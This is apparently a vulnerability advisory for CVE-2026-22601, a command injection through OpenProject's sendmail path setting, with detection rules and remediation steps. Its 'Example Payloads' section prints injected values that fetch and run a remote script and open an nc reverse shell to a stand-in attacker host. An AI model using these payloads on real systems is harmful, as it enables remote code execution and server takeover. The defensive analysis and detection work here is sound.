Title: OpenProject Sendmail Path Manipulation Leading to Command Execution
CVE ID: CVE-2026-22601
Affected Product: OpenProject
Vulnerability Type: OS Command Injection via Path Manipulation
CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command
CVSS v3.1 (Estimated): 8.8 / 10
Severity: High
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (authenticated user with access to mail-related configuration or features)
User Interaction: None
Scope: Changed
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High
Exploitability: High
Exploit Availability: No public exploit code released so far, but exploitation is simple and does not require advanced techniques.
Patch Available: Yes (official fix released by OpenProject)
Executive Summary
CVE-2026-22601 is a high-risk vulnerability in OpenProject that allows attackers to execute arbitrary system commands by abusing how the application handles the configured sendmail path.
The issue exists because OpenProject trusts the sendmail path and passes it to the operating system without strict validation.
In practical terms, this means that if an attacker can manipulate the sendmail configuration, they can make OpenProject run system commands of their choosing whenever the application tries to send an email.
Technical Details
Root Cause
OpenProject supports outbound email notifications using a sendmail-compatible mechanism. The problem occurs when:
- The sendmail binary path is configurable
- The configured value is executed directly at the OS level
- The input is not properly sanitized or restricted
Because of this, shell control characters can be embedded in the path, allowing additional commands to be executed.
How the Vulnerability Works
- OpenProject reads the sendmail path from its configuration.
- That path is used to construct an operating system command.
- If the path includes shell operators, the shell interprets them as additional commands.
- When OpenProject sends an email, the injected commands are executed.
- These commands run with the same privileges as the OpenProject service account.
This turns a normal email-sending operation into a reliable command execution trigger.
Exploitation Scenario
Prerequisites
- The attacker has valid authentication.
- The attacker can influence or modify email configuration directly or indirectly.
- Email notifications are enabled on the server.
Attack Flow
- Attacker injects a malicious value into the sendmail path.
- Any event that sends email (notifications, invitations, password resets) triggers execution.
- The operating system executes attacker-supplied commands.
- The attacker gains a foothold on the server and can escalate further.
Example Payloads (Educational)
/usr/sbin/sendmail; whoami > /tmp/op_user
/usr/sbin/sendmail && curl http://attacker.local/shell.sh | bash
/usr/sbin/sendmail | nc attacker.local 4444 -e /bin/sh
These examples show how simple command chaining can convert a mail feature into full command execution.
MITRE ATT&CK Mapping
- TA0002 – Execution
- T1059: Command and Scripting Interpreter
- TA0008 – Lateral Movement
- T1021: Remote Services (possible after initial compromise)
- TA0004 – Privilege Escalation
- T1068: Exploitation for Privilege Escalation (post-compromise activity)
Detection & Monitoring
What to Monitor
Relevant Log Sources
- OpenProject application logs
- Operating system audit logs
- Process execution and command-line logs
- Mail service logs (sendmail, postfix, or equivalent)
Red Flags
- Sendmail paths containing characters such as:
;&&|`$()
- Unexpected shell or scripting processes spawned by OpenProject
- Network connections occurring during email send events
- File creation or modification immediately after mail activity
Detection Logic Examples
Configuration Monitoring
Alert when sendmail path contains shell metacharacters
Process-Based Detection
If parent process = openproject
AND child process IN (/bin/sh, /bin/bash, nc, curl, wget)
THEN raise alert
Audit-Based Detection
Detect OS command execution correlated with email dispatch events
Impact
Successful exploitation of CVE-2026-22601 can result in:
- Arbitrary command execution on the host
- Exposure of project data and credentials
- Database access and manipulation
- Full application compromise
- Potential host-level compromise in shared environments
Even though the entry point is email-related, the overall impact is severe.
Remediation & Mitigation
Immediate Steps
- Apply the official OpenProject security update.
- Limit access to mail configuration settings.
- Ensure OpenProject runs under a non-privileged system account.
- Disable sendmail integration if it is not strictly required.
Additional Hardening
- Enforce strict allowlisting for executable paths.
- Avoid shell-based command execution for mail delivery.
- Monitor configuration changes.
- Enable detailed logging and auditing at both application and OS levels.
Official Patch
Vendor Fix:
OpenProject has released an official update that correctly validates and handles the sendmail path, preventing command injection.
Official Patch Link:
https://www.openproject.org/security/
Final Takeaway
CVE-2026-22601 highlights how dangerous unchecked system command execution can be, even in something as routine as email handling.
While the vulnerability is easy to exploit, it is also easy to fix by applying the official patch and following basic hardening practices.
